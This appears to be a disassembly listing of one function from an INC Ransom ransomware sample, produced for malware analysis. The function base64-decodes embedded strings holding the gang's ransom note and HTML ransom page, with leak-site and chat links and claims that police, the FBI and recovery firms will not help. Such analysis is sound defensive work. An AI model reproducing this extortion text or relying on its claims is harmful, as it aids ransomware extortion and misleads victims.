Function at 0x406b30
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
push str.fn5fiBJTkMgUmFuc29tIH5fn4NCg0KLS0tLS0IFlvdXIgZGF0YSBpcyBzdG9sZW4gYW5kIGVuY3J5cHRlZC4NCklmIHlvdSBkb24ndCBwYXkgdGhlIHJhbnNvbSwgdGhlIGRhdGEgd2lsbCBiZSBwdWJsaXNoZWQgb24gb3VyIFRPUiBkYXJrbmV0IHNpdGVzLg0KVGhlIHNvb25lciB5b3UgcGF5IHRoZSByYW5zb20sIHRoZSBzb29uZXIgeW91ciBjb21wYW55IHdpbGwgYmUgc2FmZS4NCg0KVG9yIEJyb3dzZXIgTGluazoNCglodHRwOi8vaW5jYmxvZzZxdTR5NG1tNHp2dzVucm11ZTZxYnd0Z2pzeHB3NmI3aXh6c3N1MzZ0c2FqbGRvYWQub25pb24vDQoJaHR0cDovL2luY2Jsb2c3dm11cTdya3RpYzczcjRoYTRqNzU3bTNwdHltMzd0eXZpZnpwMnJvZWR5eXp6eGlkLm9uaW9uLw0KDQpMaW5rIGZvciBub3JtYWwgYnJvd3NlcjoNCglodHRwOi8vaW5jYXB0LnN1Lw0KCQ0KLS0tLS0IFdoYXQgZ3VhcmFudGVlcyBhcmUgdGhhdCB3ZSB3b24ndCBmb29sIHlvdT8NCldlIGFyZSBub3QgYSBwb2xpdGljYWxseSBtb3RpdmF0ZWQgZ3JvdXAgYW5kIHdlIHdhbnQgbm90aGluZyBtb3JlIHRoYW4gbW9uZXkuDQpJZiB5b3UgcGF5LCB3ZSB3aWxsIHByb3ZpZGUgeW91IHdpdGggZGVjcnlwdGlvbiBzb2Z0d2FyZSBhbmQgZGVzdHJveSB0aGUgc3RvbGVuIGRhdGEuDQpBZnRlciB5b3UgcGF5IHRoZSByYW5zb20sIHlvdSB3aWxsIHF1aWNrbHkgcmVzdG9yZSB5b3VyIHN5c3RlbXMgYW5kIG1ha2UgZXZlbiBtb3JlIG1vbmV5Lg0KVHJlYXQgdGhpcyBzaXR1YXRpb24gc2ltcGx5IGFzIGEgcGFpZCB0cmFpbmluZyBmb3IgeW91ciBzeXN0ZW0gYWRtaW5pc3RyYXRvcnMsIGJlY2F1c2UgaXQgaXMgZHVlIHRvIHlvdXIgY29ycG9yYXRlIG5ldHdvcmsgbm90IGJlaW5nIHByb3Blcmx5IGNvbmZpZ3VyZWQgdGhhdCB3ZSB3ZXJlIGFibGUgdG8gYXR0YWNrIHlvdS4NCk91ciBwZW50ZXN0IHNlcnZpY2VzIHNob3VsZCBiZSBwYWlkIGp1c3QgbGlrZSB5b3UgcGF5IHRoZSBzYWxhcmllcyBvZiB5b3VyIHN5c3RlbSBhZG1pbmlzdHJhdG9ycy4gR2V0IG92ZXIgaXQgYW5kIHBheSBmb3IgaXQuDQpJZiB3ZSBkb24ndCBnaXZlIHlvdSBhIGRlY3J5cHRvciBvciBkZWxldGUgeW91ciBkYXRhIGFmdGVyIHlvdSBwYXksIG5vIG9uZSB3aWxsIHBheSB1cyBpbiB0aGUgZnV0dXJlLg0KWW91IGNhbiBnZXQgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCB1cyBvbiBUd2l0dGVyIGh0dHBzOi8vdHdpdHRlci5jb20vaGFzaHRhZy9pbmNyYW5zb20_Zj1saXZlDQoNCi0tLS0tPiBZb3UgbmVlZCB0byBjb250YWN0IHVzIG9uIFRPUiBkYXJrbmV0IHNpdGVzIHdpdGggeW91ciBwZXJzb25hbCBJRA0KRG93bmxvYWQgYW5kIGluc3RhbGwgVG9yIEJyb3dzZXIgaHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvDQpXcml0ZSB0byB0aGUgY2hhdCByb29tIGFuZCB3YWl0IGZvciBhbiBhbnN3ZXIsIHdlJ2xsIGd1YXJhbnRlZSBhIHJlc3BvbnNlIGZyb20geW91Lg0KU29tZXRpbWVzIHlvdSB3aWxsIGhhdmUgdG8gd2FpdCBzb21lIHRpbWUgZm9yIG91ciByZXBseSwgdGhpcyBpcyBiZWNhdXNlIHdlIGhhdmUgYSBsb3Qgb2Ygd29yayBhbmQgd2UgYXR0YWNrIHRlbnMgb2YgY29tcGFuaWVzIGFyb3VuZCB0aGUgd29ybGQuDQoNClRvciBCcm93c2VyIExpbmsgZm9yIGNoYXQ6DQoJaHR0cDovL2luY3BheWthYmpxYzJtdGR4cTZjMjNucWg0eDZtNWRrcHM1ZnI2dmdka2d6cDVuanNzeDZxa2lkLm9uaW9uLw0KDQpZb3VyIHBlcnNvbmFsIElEOg0KCSVpZCUNCg0KLS0tLS0IFdhcm5pbmchIERvbid0IGRlbGV0ZSBvciBtb2RpZnkgZW5jcnlwdGVkIGZpbGVzLCBpdCB3aWxsIGxlYWQgdG8gcHJvYmxlbXMgd2l0aCBkZWNyeXB0aW9uIG9mIGZpbGVzIQ0KLS0tLS0IERvbid0IGdvIHRvIHRoZSBwb2xpY2Ugb3IgdGhlIEZCSSBmb3IgaGVscC4gVGhleSB3b24ndCBoZWxwIHlvdS4NClRoZSBwb2xpY2Ugd2lsbCB0cnkgdG8gcHJvaGliaXQgeW91IGZyb20gcGF5aW5nIHRoZSByYW5zb20gaW4gYW55IHdheS4NClRoZSBmaXJzdCB0aGluZyB0aGV5IHdpbGwgdGVsbCB5b3UgaXMgdGhhdCB0aGVyZSdzIG5vIGd1YXJhbnRlZSB0byBkZWNyeXB0IHlvdXIgZmlsZXMgYW5kIHJlbW92ZSBzdG9sZW4gZmlsZXMuDQpUaGlzIGlzIG5vdCB0cnVlLCB3ZSBjYW4gZG8gYSB0ZXN0IGRlY3J5cHRpb24gYmVmb3JlIHBheWluZyBhbmQgeW91ciBkYXRhIHdpbGwgYmUgZ3VhcmFudGVlZCB0byBiZSByZW1vdmVkIGJlY2F1c2UgaXQncyBhIG1hdHRlciBvZiBvdXIgcmVwdXRhdGlvbi4NClBheWluZyB0aGUgcmFuc29tIHRvIHVzIGlzIG11Y2ggY2hlYXBlciBhbmQgbW9yZSBwcm9maXRhYmxlIHRoYW4gcGF5aW5nIGZpbmVzIGFuZCBsZWdhbCBmZWVzLg0KVGhlIHBvbGljZSBhbmQgdGhlIEZCSSBkb24ndCBjYXJlIHdoYXQgbG9zc2VzIHlvdSBzdWZmZXIgYXMgYSByZXN1bHQgb2Ygb3VyIGF0dGFjaywgYW5kIHdlJ2xsIGhlbHAgeW91IGdldCByaWQgb2YgYWxsIHlvdXIgcHJvYmxlbXMgZm9yIGEgbW9kZXN0IHN1bSBvZiBtb25leS4NCklmIHlvdSdyZSB3b3JyaWVkIHRoYXQgc29tZW9uZSB3aWxsIHRyYWNlIHlvdXIgYmFuayB0cmFuc2ZlcnMsIHlvdSBjYW4gZWFzaWx5IGJ1eSBjcnlwdG9jdXJyZW5jeSBmb3IgY2FzaCwgdGh1cyBsZWF2aW5nIG5vIGRpZ2l0YWwgdHJhaWwgdGhhdCBzb21lb25lIGZyb20geW91ciBjb21wYW55IHBhaWQgb3VyIHJhbnNvbS4NClRoZSBwb2xpY2UgYW5kIEZCSSB3b24ndCBiZSBhYmxlIHRvIHN0b3AgbGF3c3VpdHMgZnJvbSB5b3VyIGN1c3RvbWVycyBmb3IgbGVha2luZyBwZXJzb25hbCBhbmQgcHJpdmF0ZSBpbmZvcm1hdGlvbi4NClRoZSBwb2xpY2UgYW5kIEZCSSB3b24ndCBwcm90ZWN0IHlvdSBmcm9tIHJlcGVhdGVkIGF0dGFja3MuIA0KDQotLS0tLT4gRG9uJ3QgZ28gdG8gcmVjb3ZlcnkgY29tcGFuaWVzIQ0KVGhleSBhcmUgZXNzZW50aWFsbHkganVzdCBtaWRkbGVtZW4gd2hvIHdpbGwgbWFrZSBtb25leSBvZmYgeW91IGFuZCBjaGVhdCB5b3UuDQpXZSBhcmUgd2VsbCBhd2FyZSBvZiBjYXNlcyB3aGVyZSByZWNvdmVyeSBjb21wYW5pZXMgdGVs
mov dword [ebp - 8], 0
call ebx
push 0
push 0
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0
push 1
push edi
push str.fn5fiBJTkMgUmFuc29tIH5fn4NCg0KLS0tLS0IFlvdXIgZGF0YSBpcyBzdG9sZW4gYW5kIGVuY3J5cHRlZC4NCklmIHlvdSBkb24ndCBwYXkgdGhlIHJhbnNvbSwgdGhlIGRhdGEgd2lsbCBiZSBwdWJsaXNoZWQgb24gb3VyIFRPUiBkYXJrbmV0IHNpdGVzLg0KVGhlIHNvb25lciB5b3UgcGF5IHRoZSByYW5zb20sIHRoZSBzb29uZXIgeW91ciBjb21wYW55IHdpbGwgYmUgc2FmZS4NCg0KVG9yIEJyb3dzZXIgTGluazoNCglodHRwOi8vaW5jYmxvZzZxdTR5NG1tNHp2dzVucm11ZTZxYnd0Z2pzeHB3NmI3aXh6c3N1MzZ0c2FqbGRvYWQub25pb24vDQoJaHR0cDovL2luY2Jsb2c3dm11cTdya3RpYzczcjRoYTRqNzU3bTNwdHltMzd0eXZpZnpwMnJvZWR5eXp6eGlkLm9uaW9uLw0KDQpMaW5rIGZvciBub3JtYWwgYnJvd3NlcjoNCglodHRwOi8vaW5jYXB0LnN1Lw0KCQ0KLS0tLS0IFdoYXQgZ3VhcmFudGVlcyBhcmUgdGhhdCB3ZSB3b24ndCBmb29sIHlvdT8NCldlIGFyZSBub3QgYSBwb2xpdGljYWxseSBtb3RpdmF0ZWQgZ3JvdXAgYW5kIHdlIHdhbnQgbm90aGluZyBtb3JlIHRoYW4gbW9uZXkuDQpJZiB5b3UgcGF5LCB3ZSB3aWxsIHByb3ZpZGUgeW91IHdpdGggZGVjcnlwdGlvbiBzb2Z0d2FyZSBhbmQgZGVzdHJveSB0aGUgc3RvbGVuIGRhdGEuDQpBZnRlciB5b3UgcGF5IHRoZSByYW5zb20sIHlvdSB3aWxsIHF1aWNrbHkgcmVzdG9yZSB5b3VyIHN5c3RlbXMgYW5kIG1ha2UgZXZlbiBtb3JlIG1vbmV5Lg0KVHJlYXQgdGhpcyBzaXR1YXRpb24gc2ltcGx5IGFzIGEgcGFpZCB0cmFpbmluZyBmb3IgeW91ciBzeXN0ZW0gYWRtaW5pc3RyYXRvcnMsIGJlY2F1c2UgaXQgaXMgZHVlIHRvIHlvdXIgY29ycG9yYXRlIG5ldHdvcmsgbm90IGJlaW5nIHByb3Blcmx5IGNvbmZpZ3VyZWQgdGhhdCB3ZSB3ZXJlIGFibGUgdG8gYXR0YWNrIHlvdS4NCk91ciBwZW50ZXN0IHNlcnZpY2VzIHNob3VsZCBiZSBwYWlkIGp1c3QgbGlrZSB5b3UgcGF5IHRoZSBzYWxhcmllcyBvZiB5b3VyIHN5c3RlbSBhZG1pbmlzdHJhdG9ycy4gR2V0IG92ZXIgaXQgYW5kIHBheSBmb3IgaXQuDQpJZiB3ZSBkb24ndCBnaXZlIHlvdSBhIGRlY3J5cHRvciBvciBkZWxldGUgeW91ciBkYXRhIGFmdGVyIHlvdSBwYXksIG5vIG9uZSB3aWxsIHBheSB1cyBpbiB0aGUgZnV0dXJlLg0KWW91IGNhbiBnZXQgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCB1cyBvbiBUd2l0dGVyIGh0dHBzOi8vdHdpdHRlci5jb20vaGFzaHRhZy9pbmNyYW5zb20_Zj1saXZlDQoNCi0tLS0tPiBZb3UgbmVlZCB0byBjb250YWN0IHVzIG9uIFRPUiBkYXJrbmV0IHNpdGVzIHdpdGggeW91ciBwZXJzb25hbCBJRA0KRG93bmxvYWQgYW5kIGluc3RhbGwgVG9yIEJyb3dzZXIgaHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvDQpXcml0ZSB0byB0aGUgY2hhdCByb29tIGFuZCB3YWl0IGZvciBhbiBhbnN3ZXIsIHdlJ2xsIGd1YXJhbnRlZSBhIHJlc3BvbnNlIGZyb20geW91Lg0KU29tZXRpbWVzIHlvdSB3aWxsIGhhdmUgdG8gd2FpdCBzb21lIHRpbWUgZm9yIG91ciByZXBseSwgdGhpcyBpcyBiZWNhdXNlIHdlIGhhdmUgYSBsb3Qgb2Ygd29yayBhbmQgd2UgYXR0YWNrIHRlbnMgb2YgY29tcGFuaWVzIGFyb3VuZCB0aGUgd29ybGQuDQoNClRvciBCcm93c2VyIExpbmsgZm9yIGNoYXQ6DQoJaHR0cDovL2luY3BheWthYmpxYzJtdGR4cTZjMjNucWg0eDZtNWRrcHM1ZnI2dmdka2d6cDVuanNzeDZxa2lkLm9uaW9uLw0KDQpZb3VyIHBlcnNvbmFsIElEOg0KCSVpZCUNCg0KLS0tLS0IFdhcm5pbmchIERvbid0IGRlbGV0ZSBvciBtb2RpZnkgZW5jcnlwdGVkIGZpbGVzLCBpdCB3aWxsIGxlYWQgdG8gcHJvYmxlbXMgd2l0aCBkZWNyeXB0aW9uIG9mIGZpbGVzIQ0KLS0tLS0IERvbid0IGdvIHRvIHRoZSBwb2xpY2Ugb3IgdGhlIEZCSSBmb3IgaGVscC4gVGhleSB3b24ndCBoZWxwIHlvdS4NClRoZSBwb2xpY2Ugd2lsbCB0cnkgdG8gcHJvaGliaXQgeW91IGZyb20gcGF5aW5nIHRoZSByYW5zb20gaW4gYW55IHdheS4NClRoZSBmaXJzdCB0aGluZyB0aGV5IHdpbGwgdGVsbCB5b3UgaXMgdGhhdCB0aGVyZSdzIG5vIGd1YXJhbnRlZSB0byBkZWNyeXB0IHlvdXIgZmlsZXMgYW5kIHJlbW92ZSBzdG9sZW4gZmlsZXMuDQpUaGlzIGlzIG5vdCB0cnVlLCB3ZSBjYW4gZG8gYSB0ZXN0IGRlY3J5cHRpb24gYmVmb3JlIHBheWluZyBhbmQgeW91ciBkYXRhIHdpbGwgYmUgZ3VhcmFudGVlZCB0byBiZSByZW1vdmVkIGJlY2F1c2UgaXQncyBhIG1hdHRlciBvZiBvdXIgcmVwdXRhdGlvbi4NClBheWluZyB0aGUgcmFuc29tIHRvIHVzIGlzIG11Y2ggY2hlYXBlciBhbmQgbW9yZSBwcm9maXRhYmxlIHRoYW4gcGF5aW5nIGZpbmVzIGFuZCBsZWdhbCBmZWVzLg0KVGhlIHBvbGljZSBhbmQgdGhlIEZCSSBkb24ndCBjYXJlIHdoYXQgbG9zc2VzIHlvdSBzdWZmZXIgYXMgYSByZXN1bHQgb2Ygb3VyIGF0dGFjaywgYW5kIHdlJ2xsIGhlbHAgeW91IGdldCByaWQgb2YgYWxsIHlvdXIgcHJvYmxlbXMgZm9yIGEgbW9kZXN0IHN1bSBvZiBtb25leS4NCklmIHlvdSdyZSB3b3JyaWVkIHRoYXQgc29tZW9uZSB3aWxsIHRyYWNlIHlvdXIgYmFuayB0cmFuc2ZlcnMsIHlvdSBjYW4gZWFzaWx5IGJ1eSBjcnlwdG9jdXJyZW5jeSBmb3IgY2FzaCwgdGh1cyBsZWF2aW5nIG5vIGRpZ2l0YWwgdHJhaWwgdGhhdCBzb21lb25lIGZyb20geW91ciBjb21wYW55IHBhaWQgb3VyIHJhbnNvbS4NClRoZSBwb2xpY2UgYW5kIEZCSSB3b24ndCBiZSBhYmxlIHRvIHN0b3AgbGF3c3VpdHMgZnJvbSB5b3VyIGN1c3RvbWVycyBmb3IgbGVha2luZyBwZXJzb25hbCBhbmQgcHJpdmF0ZSBpbmZvcm1hdGlvbi4NClRoZSBwb2xpY2UgYW5kIEZCSSB3b24ndCBwcm90ZWN0IHlvdSBmcm9tIHJlcGVhdGVkIGF0dGFja3MuIA0KDQotLS0tLT4gRG9uJ3QgZ28gdG8gcmVjb3ZlcnkgY29tcGFuaWVzIQ0KVGhleSBhcmUgZXNzZW50aWFsbHkganVzdCBtaWRkbGVtZW4gd2hvIHdpbGwgbWFrZSBtb25leSBvZmYgeW91IGFuZCBjaGVhdCB5b3UuDQpXZSBhcmUgd2VsbCBhd2FyZSBvZiBjYXNlcyB3aGVyZSByZWNvdmVyeSBjb21wYW5pZXMgdGVs
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push dword [ebp - 8]
call fcn.0040d6b1
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push 0
push 0
push eax
push esi
push 1
push edi
push str.fn5fiBJTkMgUmFuc29tIH5fn4NCg0KLS0tLS0IFlvdXIgZGF0YSBpcyBzdG9sZW4gYW5kIGVuY3J5cHRlZC4NCklmIHlvdSBkb24ndCBwYXkgdGhlIHJhbnNvbSwgdGhlIGRhdGEgd2lsbCBiZSBwdWJsaXNoZWQgb24gb3VyIFRPUiBkYXJrbmV0IHNpdGVzLg0KVGhlIHNvb25lciB5b3UgcGF5IHRoZSByYW5zb20sIHRoZSBzb29uZXIgeW91ciBjb21wYW55IHdpbGwgYmUgc2FmZS4NCg0KVG9yIEJyb3dzZXIgTGluazoNCglodHRwOi8vaW5jYmxvZzZxdTR5NG1tNHp2dzVucm11ZTZxYnd0Z2pzeHB3NmI3aXh6c3N1MzZ0c2FqbGRvYWQub25pb24vDQoJaHR0cDovL2luY2Jsb2c3dm11cTdya3RpYzczcjRoYTRqNzU3bTNwdHltMzd0eXZpZnpwMnJvZWR5eXp6eGlkLm9uaW9uLw0KDQpMaW5rIGZvciBub3JtYWwgYnJvd3NlcjoNCglodHRwOi8vaW5jYXB0LnN1Lw0KCQ0KLS0tLS0IFdoYXQgZ3VhcmFudGVlcyBhcmUgdGhhdCB3ZSB3b24ndCBmb29sIHlvdT8NCldlIGFyZSBub3QgYSBwb2xpdGljYWxseSBtb3RpdmF0ZWQgZ3JvdXAgYW5kIHdlIHdhbnQgbm90aGluZyBtb3JlIHRoYW4gbW9uZXkuDQpJZiB5b3UgcGF5LCB3ZSB3aWxsIHByb3ZpZGUgeW91IHdpdGggZGVjcnlwdGlvbiBzb2Z0d2FyZSBhbmQgZGVzdHJveSB0aGUgc3RvbGVuIGRhdGEuDQpBZnRlciB5b3UgcGF5IHRoZSByYW5zb20sIHlvdSB3aWxsIHF1aWNrbHkgcmVzdG9yZSB5b3VyIHN5c3RlbXMgYW5kIG1ha2UgZXZlbiBtb3JlIG1vbmV5Lg0KVHJlYXQgdGhpcyBzaXR1YXRpb24gc2ltcGx5IGFzIGEgcGFpZCB0cmFpbmluZyBmb3IgeW91ciBzeXN0ZW0gYWRtaW5pc3RyYXRvcnMsIGJlY2F1c2UgaXQgaXMgZHVlIHRvIHlvdXIgY29ycG9yYXRlIG5ldHdvcmsgbm90IGJlaW5nIHByb3Blcmx5IGNvbmZpZ3VyZWQgdGhhdCB3ZSB3ZXJlIGFibGUgdG8gYXR0YWNrIHlvdS4NCk91ciBwZW50ZXN0IHNlcnZpY2VzIHNob3VsZCBiZSBwYWlkIGp1c3QgbGlrZSB5b3UgcGF5IHRoZSBzYWxhcmllcyBvZiB5b3VyIHN5c3RlbSBhZG1pbmlzdHJhdG9ycy4gR2V0IG92ZXIgaXQgYW5kIHBheSBmb3IgaXQuDQpJZiB3ZSBkb24ndCBnaXZlIHlvdSBhIGRlY3J5cHRvciBvciBkZWxldGUgeW91ciBkYXRhIGFmdGVyIHlvdSBwYXksIG5vIG9uZSB3aWxsIHBheSB1cyBpbiB0aGUgZnV0dXJlLg0KWW91IGNhbiBnZXQgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCB1cyBvbiBUd2l0dGVyIGh0dHBzOi8vdHdpdHRlci5jb20vaGFzaHRhZy9pbmNyYW5zb20_Zj1saXZlDQoNCi0tLS0tPiBZb3UgbmVlZCB0byBjb250YWN0IHVzIG9uIFRPUiBkYXJrbmV0IHNpdGVzIHdpdGggeW91ciBwZXJzb25hbCBJRA0KRG93bmxvYWQgYW5kIGluc3RhbGwgVG9yIEJyb3dzZXIgaHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvDQpXcml0ZSB0byB0aGUgY2hhdCByb29tIGFuZCB3YWl0IGZvciBhbiBhbnN3ZXIsIHdlJ2xsIGd1YXJhbnRlZSBhIHJlc3BvbnNlIGZyb20geW91Lg0KU29tZXRpbWVzIHlvdSB3aWxsIGhhdmUgdG8gd2FpdCBzb21lIHRpbWUgZm9yIG91ciByZXBseSwgdGhpcyBpcyBiZWNhdXNlIHdlIGhhdmUgYSBsb3Qgb2Ygd29yayBhbmQgd2UgYXR0YWNrIHRlbnMgb2YgY29tcGFuaWVzIGFyb3VuZCB0aGUgd29ybGQuDQoNClRvciBCcm93c2VyIExpbmsgZm9yIGNoYXQ6DQoJaHR0cDovL2luY3BheWthYmpxYzJtdGR4cTZjMjNucWg0eDZtNWRrcHM1ZnI2dmdka2d6cDVuanNzeDZxa2lkLm9uaW9uLw0KDQpZb3VyIHBlcnNvbmFsIElEOg0KCSVpZCUNCg0KLS0tLS0IFdhcm5pbmchIERvbid0IGRlbGV0ZSBvciBtb2RpZnkgZW5jcnlwdGVkIGZpbGVzLCBpdCB3aWxsIGxlYWQgdG8gcHJvYmxlbXMgd2l0aCBkZWNyeXB0aW9uIG9mIGZpbGVzIQ0KLS0tLS0IERvbid0IGdvIHRvIHRoZSBwb2xpY2Ugb3IgdGhlIEZCSSBmb3IgaGVscC4gVGhleSB3b24ndCBoZWxwIHlvdS4NClRoZSBwb2xpY2Ugd2lsbCB0cnkgdG8gcHJvaGliaXQgeW91IGZyb20gcGF5aW5nIHRoZSByYW5zb20gaW4gYW55IHdheS4NClRoZSBmaXJzdCB0aGluZyB0aGV5IHdpbGwgdGVsbCB5b3UgaXMgdGhhdCB0aGVyZSdzIG5vIGd1YXJhbnRlZSB0byBkZWNyeXB0IHlvdXIgZmlsZXMgYW5kIHJlbW92ZSBzdG9sZW4gZmlsZXMuDQpUaGlzIGlzIG5vdCB0cnVlLCB3ZSBjYW4gZG8gYSB0ZXN0IGRlY3J5cHRpb24gYmVmb3JlIHBheWluZyBhbmQgeW91ciBkYXRhIHdpbGwgYmUgZ3VhcmFudGVlZCB0byBiZSByZW1vdmVkIGJlY2F1c2UgaXQncyBhIG1hdHRlciBvZiBvdXIgcmVwdXRhdGlvbi4NClBheWluZyB0aGUgcmFuc29tIHRvIHVzIGlzIG11Y2ggY2hlYXBlciBhbmQgbW9yZSBwcm9maXRhYmxlIHRoYW4gcGF5aW5nIGZpbmVzIGFuZCBsZWdhbCBmZWVzLg0KVGhlIHBvbGljZSBhbmQgdGhlIEZCSSBkb24ndCBjYXJlIHdoYXQgbG9zc2VzIHlvdSBzdWZmZXIgYXMgYSByZXN1bHQgb2Ygb3VyIGF0dGFjaywgYW5kIHdlJ2xsIGhlbHAgeW91IGdldCByaWQgb2YgYWxsIHlvdXIgcHJvYmxlbXMgZm9yIGEgbW9kZXN0IHN1bSBvZiBtb25leS4NCklmIHlvdSdyZSB3b3JyaWVkIHRoYXQgc29tZW9uZSB3aWxsIHRyYWNlIHlvdXIgYmFuayB0cmFuc2ZlcnMsIHlvdSBjYW4gZWFzaWx5IGJ1eSBjcnlwdG9jdXJyZW5jeSBmb3IgY2FzaCwgdGh1cyBsZWF2aW5nIG5vIGRpZ2l0YWwgdHJhaWwgdGhhdCBzb21lb25lIGZyb20geW91ciBjb21wYW55IHBhaWQgb3VyIHJhbnNvbS4NClRoZSBwb2xpY2UgYW5kIEZCSSB3b24ndCBiZSBhYmxlIHRvIHN0b3AgbGF3c3VpdHMgZnJvbSB5b3VyIGN1c3RvbWVycyBmb3IgbGVha2luZyBwZXJzb25hbCBhbmQgcHJpdmF0ZSBpbmZvcm1hdGlvbi4NClRoZSBwb2xpY2UgYW5kIEZCSSB3b24ndCBwcm90ZWN0IHlvdSBmcm9tIHJlcGVhdGVkIGF0dGFja3MuIA0KDQotLS0tLT4gRG9uJ3QgZ28gdG8gcmVjb3ZlcnkgY29tcGFuaWVzIQ0KVGhleSBhcmUgZXNzZW50aWFsbHkganVzdCBtaWRkbGVtZW4gd2hvIHdpbGwgbWFrZSBtb25leSBvZmYgeW91IGFuZCBjaGVhdCB5b3UuDQpXZSBhcmUgd2VsbCBhd2FyZSBvZiBjYXNlcyB3aGVyZSByZWNvdmVyeSBjb21wYW5pZXMgdGVs
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [ebp - 8]
push ecx
mov ecx, esi
mov dword [0x429278], esi
mov byte [esi + eax], 0
call fcn.004062c0
add esp, 4
mov dword [0x429278], eax
push str.PGh0bWwDQoJPGhlYWQDQoJCTx0aXRsZT5JTkMgUmFuc29tPC90aXRsZT4NCgk8L2hlYWQDQoJPGJvZHkgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IGRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGp1c3RpZnktY29udGVudDogY2VudGVyOyBhbGlnbi1pdGVtczogY2VudGVyOyBvdmVyZmxvdzogaGlkZGVuOyIDQoJCTxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgbWF4LXdpZHRoOiA4MCU7IG92ZXJmbG93LXk6IGF1dG87Ij4NCgkJCTxkaXYgc3R5bGU9IndpZHRoOiA4MCU7Ij4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyIDQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7Ij5Zb3VyIGRhdGEgaXMgc3RvbGVuIGFuZCBlbmNyeXB0ZWQuPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7Ij5JZiB5b3UgZG9uJ3QgcGF5IHRoZSByYW5zb20sIHRoZSBkYXRhIHdpbGwgYmUgcHVibGlzaGVkIG9uIG91ciBUT1IgZGFya25ldCBzaXRlcy48L3NwYW4DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7Ij5UaGUgc29vbmVyIHlvdSBwYXkgdGhlIHJhbnNvbSwgdGhlIHNvb25lciB5b3VyIGNvbXBhbnkgd2lsbCBiZSBzYWZlLjwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBtYXJnaW4tdG9wOiAxNnB4OyIDQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7Ij5CbG9nIFRvciBCcm93c2VyIExpbms6PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyIaHR0cDovL2luY2Jsb2c2cXU0eTRtbTR6dnc1bnJtdWU2cWJ3dGdqc3hwdzZiN2l4enNzdTM2dHNhamxkb2FkLm9uaW9uLzwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPmh0dHA6Ly9pbmNibG9nN3ZtdXE3cmt0aWM3M3I0aGE0ajc1N20zcHR5bTM3dHl2aWZ6cDJyb2VkeXl6enhpZC5vbmlvbi88L3NwYW4DQogICAgICAgICAgICAgICAgPC9kaXYDQogICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgbWFyZ2luLXRvcDogMTZweDsiPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyBmb250LXdlaWdodDogNjAwOyIQmxvZyBMaW5rIGZvciBub3JtYWwgYnJvd3Nlcjo8L3NwYW4DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7IG1hcmdpbi10b3A6IDhweDsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij5odHRwOi8vaW5jYXB0LnN1Lzwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBtYXJnaW4tdG9wOiAxNnB4OyIDQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7Ij5Zb3UgbmVlZCB0byBjb250YWN0IHVzIG9uIFRPUiBkYXJrbmV0IHNpdGVzIHdpdGggeW91ciBwZXJzb25hbCBJRDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyIRG93bmxvYWQgYW5kIGluc3RhbGwgVG9yIEJyb3dzZXIgaHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7Ij5Xcml0ZSB0byB0aG